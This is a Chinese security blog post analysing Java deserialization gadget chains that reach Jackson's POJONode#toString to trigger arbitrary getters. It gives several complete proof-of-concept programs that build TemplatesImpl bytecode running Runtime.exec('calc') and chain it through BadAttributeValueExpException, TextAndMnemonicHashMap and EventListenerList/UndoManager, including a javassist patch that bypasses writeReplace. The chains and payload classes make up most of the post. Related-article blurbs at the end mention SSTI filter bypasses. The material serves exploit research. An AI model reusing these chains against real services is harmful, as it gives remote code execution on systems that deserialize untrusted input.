jackson 原生反序列化触发 getter 方法

news/2024/11/16 13:27:56/文章来源:https://www.cnblogs.com/gaorenyusi/p/18411269

jackson 原生反序列化触发 getter 方法

  • jackson的POJONode方法可以任意调用getter

  • jackson序列化会任意调用getter

分析

jackson 序列化会调用任意 getter 方法,jackson 反序列化也会任意调用 getter ,这两个都不需要多说什么了,在前面的 jackson 反序列化中的 TemplatesImpl 链中已经证实过了。

现在只需要讨论 POJONode#toString --> jackson自身提供的反序列化 --> 任意调用Getter

POJONode 中不存在有 toString 方法的实现,但是其父类的父类存在,

跟进

看到调用了nodeToString 方法,

调用了 writeValueAsString 方法进行序列化这里就会调用 getter 方法,然后剩下的就是加载恶意类进行命令执行了。

poc.java

package org.example;  import com.fasterxml.jackson.databind.ObjectMapper;  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.net.CookieHandler;  import static org.example.ser.setValue;  public class poc {  public static void main(String[] args)throws Exception  {  ClassPool pool = ClassPool.getDefault();  CtClass clazz = pool.makeClass("gaoren");  CtClass superClass = pool.get(AbstractTranslet.class.getName());  clazz.setSuperclass(superClass);  CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  clazz.addConstructor(constructor);  byte[][] bytes = new byte[][]{clazz.toBytecode()};  TemplatesImpl templates = TemplatesImpl.class.newInstance();  setValue(templates, "_bytecodes", bytes);  setValue(templates, "_name", "a");  setValue(templates, "_tfactory", new TransformerFactoryImpl());  POJONode node = new POJONode(templates);  BadAttributeValueExpException val;  val = new BadAttributeValueExpException(null);  Field valfield = val.getClass().getDeclaredField("val");  valfield.setAccessible(true);  valfield.set(val, node);  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);  oos.writeObject(val);  ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));  Object o = (Object)ois.readObject();  }  
}

运行确实弹出计算机,但是看调用栈发现根本就没有调用 tostring 方法,发现在 ObjectOuptputStream#writeObject0 抛出异常,

如果序列化的类实现了 writeReplace 方法,将会在序列化过程中调用它进行检查,而在 POJONode 的父类 BaseJsonNode 中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断

我们可以通过删除这个方法来跳过这个过程,但是发现 idea 无法修改源码,那么用 javassist 进行动态修改

package org.example;  import com.fasterxml.jackson.databind.ObjectMapper;  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.net.CookieHandler;  import static org.example.ser.setValue;  public class poc {  public static void main(String[] args)throws Exception  {  ClassPool pool = ClassPool.getDefault();  ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));  CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  // 获取原方法  CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  // 修改方法名  originalMethod.setName("Replace");  // 加载修改后的类  ctClass.toClass();  CtClass clazz = pool.makeClass("gaoren");  CtClass superClass = pool.get(AbstractTranslet.class.getName());  clazz.setSuperclass(superClass);  CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  clazz.addConstructor(constructor);  byte[][] bytes = new byte[][]{clazz.toBytecode()};  TemplatesImpl templates = TemplatesImpl.class.newInstance();  setValue(templates, "_bytecodes", bytes);  setValue(templates, "_name", "a");  setValue(templates, "_tfactory", new TransformerFactoryImpl());  POJONode node = new POJONode(templates);  BadAttributeValueExpException val;  val = new BadAttributeValueExpException(null);  Field valfield = val.getClass().getDeclaredField("val");  valfield.setAccessible(true);  valfield.set(val, node);  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);  oos.writeObject(val);  ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));  Object o = (Object)ois.readObject();  }  
}

最后成功调用到 getter 方法弹出计算机。

思考

既然能调用 getter 方法,那么可用的就不只有了 getoutputProperties ,如还可以调用 signedObject#getObject 进行二次反序化。

参考:https://xz.aliyun.com/t/12509

参考:jackson原生反序列化触发getter方法的利用与分析

TextAndMnemonicHashMap

位置:javax.swing.UIDefaults.TextAndMnemonicHashMap

可以看到继承 hashmap 可以进行序列化,然后调用了key的tostring。

然后需要调用其 get 方法,可以通过 java.util.AbstractMap#equals 直接进行调用

所以直接构造(入口直接照搬 cc7 就行了)

package org.example;  
import java.io.*;  
import java.lang.reflect.*;  
import java.util.Hashtable;  
import java.util.Map;  public class test {  public static void main(String[] args)throws Exception {  Class tex = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");  Constructor con=tex.getDeclaredConstructor(null);  con.setAccessible(true);  Map texmap1 =(Map) con.newInstance();  Map texmap2 =(Map) con.newInstance();  texmap1.put("yy",1);  texmap2.put("zZ",1);  Hashtable hashtable = new Hashtable();  hashtable.put(texmap1,1);  hashtable.put(texmap2,1);  serilize(hashtable);  deserilize("111.bin");  }  public static void serilize(Object obj)throws IOException {  ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  out.writeObject(obj);  }  public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  Object obj=in.readObject();  return obj;  }  
}

然后现在试试调用 POJONode#toString 方法来进行命令执行

poc.java

package org.example;  import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  
import sun.misc.Unsafe;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  public class test2 {  public static void main(String[] args) throws Exception{  ClassPool pool = ClassPool.getDefault();  ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));  CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  // 获取原方法  CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  // 修改方法名  originalMethod.setName("Replace");  // 加载修改后的类  ctClass.toClass();  CtClass clazz = pool.makeClass("gaoren");  CtClass superClass = pool.get(AbstractTranslet.class.getName());  clazz.setSuperclass(superClass);  CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  clazz.addConstructor(constructor);  byte[][] bytess = new byte[][]{clazz.toBytecode()};  TemplatesImpl templates = TemplatesImpl.class.newInstance();  setValue(templates, "_bytecodes", bytess);  setValue(templates, "_name", "a");  setValue(templates, "_tfactory", new TransformerFactoryImpl());  POJONode node = new POJONode(templates);  Hashtable hashMap = makeHashMapByTextAndMnemonicHashMap(node);  serilize(hashMap);  deserilize("111.bin");  }  public static void serilize(Object obj)throws IOException {  ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  out.writeObject(obj);  }  public static Hashtable makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{  Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));  Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));  tHashMap1.put(toStringClass, "123");  tHashMap2.put(toStringClass, "12");  Hashtable hashtable = new Hashtable();  hashtable.put(tHashMap1,1);  hashtable.put(tHashMap2,1);  tHashMap1.put(toStringClass, null);  tHashMap2.put(toStringClass, null);  setFieldValue(tHashMap1, "loadFactor", 0.75f);  setFieldValue(tHashMap2, "loadFactor", 0.75f);  return hashtable;  }  public static Object getObjectByUnsafe(Class clazz) throws Exception{  Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");  theUnsafe.setAccessible(true);  Unsafe unsafe = (Unsafe) theUnsafe.get(null);  return unsafe.allocateInstance(clazz);  }  public static void setFieldValue(Object obj, String key, Object val) throws Exception{  Field field = null;  Class clazz = obj.getClass();  while (true){  try {  field = clazz.getDeclaredField(key);  break;  } catch (NoSuchFieldException e){  clazz = clazz.getSuperclass();  }  }  field.setAccessible(true);  field.set(obj, val);  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  }  public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  Object obj=in.readObject();  return obj;  }  
}

注意到关键部分

tHashMap1.put(toStringClass, "123");  
tHashMap2.put(toStringClass, "12");  
Hashtable hashtable = new Hashtable();  
hashtable.put(tHashMap1,1);  
hashtable.put(tHashMap2,1);  tHashMap1.put(toStringClass, null);  
tHashMap2.put(toStringClass, null);  
setFieldValue(tHashMap1, "loadFactor", 0.75f);  
setFieldValue(tHashMap2, "loadFactor", 0.75f);  

EventListenerList

gadget:

EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

来到 EventListenerList.readObject

看到调用了 add 方法,跟进

在 Object 进行拼接的时候会自动触发该对象的 toString 方法,现在只需要看调用哪个 tostring 方法就行了,

看到 l 需要能转型为 EventListener 类的,这里直接选择 javax.swing.undo.UndoManage

该类实现了 UndoableEditListener 接口,而该接口继承 java.util.EventListenerjavax.swing.undo.UndoManager#toString 方法

看到 limitindexOfNextAdd 都是 int 属性,所以拼接也不会调用什么。看到前面会调用其父类的 tostring 方法,所以继续向上看

其继承于 CompoundEdit 类,跟进 CompoundEdit#tostring方法

这里的 inProgressboolean 属性,但 edits 是个对象

所以在拼接的时候会自动触发 Vector#tostring 方法,

然后跟进其父类的 tostring 方法,但是其父类没有 tostring 方法,那么就调用其父类的父类也就是 AbstractCollection#toString 方法

发现 StringBuilderappend 方法,

最后看到 obj 可控,那么就能随意调用 tostring 方法了,

poc

package org.example;  import com.fasterxml.jackson.databind.node.POJONode;  import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  import java.lang.reflect.Field;  import java.util.Base64;  
import java.util.Map;  
import java.util.Vector;  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  public class test {  public static void main(String[] args) throws Exception {  ClassPool pool = ClassPool.getDefault();  ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));  CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  // 获取原方法  CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  // 修改方法名  originalMethod.setName("Replace");  // 加载修改后的类  ctClass.toClass();  CtClass clazz = pool.makeClass("gaoren");  CtClass superClass = pool.get(AbstractTranslet.class.getName());  clazz.setSuperclass(superClass);  CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  clazz.addConstructor(constructor);  byte[][] bytess = new byte[][]{clazz.toBytecode()};  TemplatesImpl templates = TemplatesImpl.class.newInstance();  setValue(templates, "_bytecodes", bytess);  setValue(templates, "_name", "a");  setValue(templates, "_tfactory", new TransformerFactoryImpl());  POJONode pojoNode = new POJONode(templates);  //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()  EventListenerList list = new EventListenerList();  UndoManager manager = new UndoManager();  Vector vector = (Vector) getFieldValue(manager, "edits");  vector.add(pojoNode);  setFieldValue(list, "listenerList", new Object[] { Map.class, manager });  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  objectOutputStream.writeObject(list);  String ser = Base64.getEncoder()  .encodeToString(byteArrayOutputStream.toByteArray());  System.out.println(ser);  byte[] decode = Base64.getDecoder().decode(ser);  ByteArrayOutputStream baos = new ByteArrayOutputStream();  baos.write(decode);  ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(  baos.toByteArray()));  objectInputStream.readObject();  }  public static void setFieldValue(Object obj, String fieldName, Object value)  throws Exception {  Class<?> clazz = obj.getClass();  Field field = clazz.getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj, value);  }  public static Object getFieldValue(Object obj, String fieldName)  throws NoSuchFieldException, IllegalAccessException {  Class clazz = obj.getClass();  while (clazz != null) {  try {  Field field = clazz.getDeclaredField(fieldName);  field.setAccessible(true);  return field.get(obj);  } catch (Exception e) {  clazz = clazz.getSuperclass();  }  }  return null;  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  }  
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/796257.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

urllib发送get请求_中文传参问题

GET请求是HTTP协议中的一种基本方法,当需要在GET请求中传递中文参数时需要额外对中文进行编码(英文不需要),因为url中只能包含ascii字符。 可以使用urllib.parser.urlencode()或urllib.parse.quote()方法对中文转码。 详细查官方文档: https://docs.python.org/3.12/libra…

jackson 反序列化学习

jackson 反序列化学习 jackson 介绍 Jackson 是一个用于处理 JSON 数据的开源 Java 库。Spring MVC 的默认 json 解析器便是 Jackson。 Jackson 优点很多。 Jackson 所依赖的 jar 包较少,简单易用。与其他 Java 的 json 的框架 Gson 等相比, Jackson 解析大的 json 文件速度比…

LeetCode算法—递归

纵有疾风起;人生不言弃!一:递归 1、定义:函数直接或者间接的调用自己 2、四个要素 (1)接受的参数 (2)返回的值 (3)终止条件 (4)如何拆解 二:LeetCode 509 斐波那契数列 def func(n):if n<2:return nelse:return func(n-1)+func(n-2)n=int(input()) print(func(…

2024年9月最新Youtube转WAV高质量音频最新教程

​1.利用在线转换工具(最推荐的一种方式): YoutubeToWAV:打开浏览器,访问 https://www.youtubetowav.cc/的官方网站。在 YouTube 网站上找到您想要转换的视频,复制该视频的链接。回到网页,将复制的 YouTube 视频链接粘贴到指定的输入框中。点击Convert默认为audio标签的格…

[GDOUCTF 2023]ez_ze!

这题是一个jinja2的ssti模板注入,经过测试过滤了 _ {{}} . [] os popen getitem 输入{% print(lipsum|string|list) %}或者{% print(config|string|list) %}从这里面获取我们需要的字符 获取下划线和空格 {% set pop=dict(pop=1)|join %} {% set xia=(lipsum|string|list)|at…

dc-4

靶机下载地址:dc-4 找靶机 nmap -sV 192.168.6.0/24查看一下端口服务很明显就只是一个简单的登录框 我们爆破一下 最终得到用户名:admin 密码:happy 进去看看怎么个事很明显是一个选择既定的命令进行命令执行 我们可以抓包然后即可使用我们自己设计的命令直接拿shell然后再实现…

java方法:什么是方法?

java方法是语句的集合,它们在一起执行一个功能:方法是解决一类问题的步骤的有序组合 方法包含于类或对象中 方法在程序中被创建,在其他地方被引用 例如:即 ______()是方法 设计方法的原则:方法的本意时功能块,就是实现某个功能块,就是实现某个功能的语句块的集合,所以…

pediatrics_llm_qa:儿科问诊小模型

项目简介 本项目开源了基于儿科医疗指令微调的问诊模型:pediatrics_llm_qa(GitHub - jiangnanboy/pediatrics_llm_qa),目前模型的主要功能如下:智能问诊:问诊后给出诊断结果和建议。更新[2024/09/11] 开源了基于Qwen2-1.5B-instruct lora指令微调的儿科问诊模型开源模型模型…

WPF 已知问题 包含 NaN 的 Geometry 几何可能导致渲染层抛出 UCEERR_RENDERTHREADFAILURE 异常

本文记录一个 WPF 已知问题,当传入到渲染的 Geometry 几何里面包含了 NaN 数值,将可能让应用程序收到从渲染层抛上来的 UCEERR_RENDERTHREADFAILURE 异常,且此异常缺乏必要信息,比较难定位到具体错误逻辑此问题是小伙伴报告给我的,详细请看 https://github.com/dotnet/wpf…

WPF 尝试使用 WinML 做一个简单的手写数字识别应用

最近我看了微软的 AI 训练营之后,似乎有点了解 Windows Machine Learning 和 DirectML 的概念,于是我尝试实践一下,用 WPF 写一个简单的触摸手写输入的画板,再使用大佬训练好的 mnist.onnx 模型,对接 WinML 实现一个简单的手写数字识别应用最近我看了微软的 AI 训练营之后…

VisualStudio 2022 找不到内存 反汇编 寄存器调试工具

本文将告诉大家如何解决在 VisualStudio 2022 的 调试-窗口 里面找不到内存、 反汇编、 寄存器这三个调试工具的问题找不到的原因是没有启用地址级调试 只需要在“工具”(或“调试”)>“选项”>“调试”中选择“启用地址级调试” 然后进行调试即可看到开启之后,即可在…

【TS】TypeScript基础详解【一】

Javascript 类型缺陷 类型引发的问题 在编程开发中,有一个共识:错误越早发现,就越容易解决。 例如:能在代码编写时发现错误,就不要等到代码编译时才发现(这也是IDE的优势之一)。 能在代码编译时发现错误,就不要在代码运行时才发现(类型检测可以帮助我们在这 方面做得很好…